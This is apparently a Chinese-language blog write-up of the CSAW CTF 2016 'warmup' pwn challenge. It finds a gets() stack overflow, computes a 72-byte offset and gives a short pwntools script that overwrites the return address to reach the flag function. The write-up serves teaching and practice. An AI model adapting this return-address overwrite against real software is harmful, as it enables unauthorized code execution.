CSAW CTF 2016 PWN quals-warmup

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/levones/article/details/88233101

CSAW CTF 2016 PWN quals-warmup

原文链接
先对文件有个大致的了解,是64位ELF文件

☁  csaw ctf 2016 quals-warmup  ls
exp.py  flag.txt  readme.txt  warmup
☁  csaw ctf 2016 quals-warmup  file warmup 
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7b7d75c51503566eb1203781298d9f0355a66bd3, stripped
☁  csaw ctf 2016 quals-warmup  chmod +x warmup 
☁  csaw ctf 2016 quals-warmup  ./warmup 
-Warm Up-
WOW:0x40060d
>

这个程序没有开启任何的保护,而且文件是动态链接却没有给出libc

丢进IDA看一下:

看到了熟悉的gets()函数,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5开辟了40H的存储空间,所以输入长度超过40H即可造成溢出,再看sprint()函数

进入sub_40060D中看一下:

可以看到这个函数是获取flag的关键点,程序会打印出此函数的位置,即0x40060d,到这里思路就差不多明了了,我们需要控制溢出位置,把返回地址改为此函数的地址,我们当前函数的返回值位于RBP+8的位置,因此溢出点可以通过计算得出:40H+8H=48H=72,因此python脚本如下

#!/usr/bin/python
from pwn import *

r = remote('192.168.229.128', 10001)

r.recvuntil('WOW:')
address = r.recvuntil('\n')[:-1]
payload = 'A' * 72 + p64(int(address, 16))

r.writeline(payload)

r.interactive()

即可获取flag:FLAG{LET_US_BEGIN_CSAW_2016}

猜你喜欢

转载自blog.csdn.net/levones/article/details/88233101